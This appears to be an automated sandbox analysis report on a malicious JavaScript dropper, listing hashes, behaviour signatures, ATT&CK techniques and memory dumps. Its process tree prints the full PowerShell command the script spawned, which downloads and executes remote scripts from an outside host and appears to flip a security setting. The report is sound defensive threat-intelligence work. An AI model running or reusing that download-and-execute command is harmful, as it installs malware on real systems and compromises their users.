64ea34f422d8dd1fa6bf0d599c17d7acfed1eda632ad838f19728622512997cf

Analysis

max time kernel
137s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
18-03-2024 17:07

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General

Target

Y7HmFMAN.js
Size

1KB
MD5

788d8eb9ebf3622392d1456e6afbed28
SHA1

8c88e690ecde06aee7cd9ffd74aac5b7116e0654
SHA256

64ea34f422d8dd1fa6bf0d599c17d7acfed1eda632ad838f19728622512997cf
SHA512

6e752417a0f5f36c923afe04268db1586b59db86dafbb43e888540f1cd0187a523f3e270a8ae7ebd14491e202583dedbed94593183ebe005b2bd22d686c8b9f6

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	2200	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2200	powershell.exe
2200	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2200	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 2200	3160	wscript.exe	86
PID 3160 wrote to memory of 2200	3160	wscript.exe	86
PID 3160 wrote to memory of 2200	3160	wscript.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Y7HmFMAN.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7zDCFQWN4NVQ'; IEX(IWR -UseBasicParsing 'https://nrgtik.mx/wp-content/uploads/agent1.ps1'); $f.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://nrgtik.mx/wp-content/uploads/agent3.ps1')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0s30sbf3.j1r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2200-13-0x0000000005B80000-0x0000000005BE6000-memory.dmp

Filesize
408KB

Download
memory/2200-4-0x0000000002CC0000-0x0000000002CD0000-memory.dmp

Filesize
64KB

Download
memory/2200-19-0x00000000061E0000-0x00000000061FE000-memory.dmp

Filesize
120KB

Download
memory/2200-20-0x0000000006200000-0x000000000624C000-memory.dmp

Filesize
304KB

Download
memory/2200-6-0x0000000005940000-0x0000000005962000-memory.dmp

Filesize
136KB

Download
memory/2200-7-0x00000000059E0000-0x0000000005A46000-memory.dmp

Filesize
408KB

Download
memory/2200-1-0x0000000002BF0000-0x0000000002C26000-memory.dmp

Filesize
216KB

Download
memory/2200-2-0x0000000074FC0000-0x0000000075770000-memory.dmp

Filesize
7.7MB

Download
memory/2200-32-0x0000000074FC0000-0x0000000075770000-memory.dmp

Filesize
7.7MB

Download
memory/2200-3-0x0000000002CC0000-0x0000000002CD0000-memory.dmp

Filesize
64KB

Download
memory/2200-5-0x0000000005310000-0x0000000005938000-memory.dmp

Filesize
6.2MB

Download
memory/2200-21-0x0000000007810000-0x0000000007E8A000-memory.dmp

Filesize
6.5MB

Download
memory/2200-22-0x0000000006710000-0x000000000672A000-memory.dmp

Filesize
104KB

Download
memory/2200-23-0x0000000002CC0000-0x0000000002CD0000-memory.dmp

Filesize
64KB

Download
memory/2200-24-0x0000000007FE0000-0x0000000007FE1000-memory.dmp

Filesize
4KB

Download
memory/2200-25-0x0000000008070000-0x000000000807D000-memory.dmp

Filesize
52KB

Download
memory/2200-29-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2200-18-0x0000000005BF0000-0x0000000005F44000-memory.dmp

Filesize
3.3MB

Download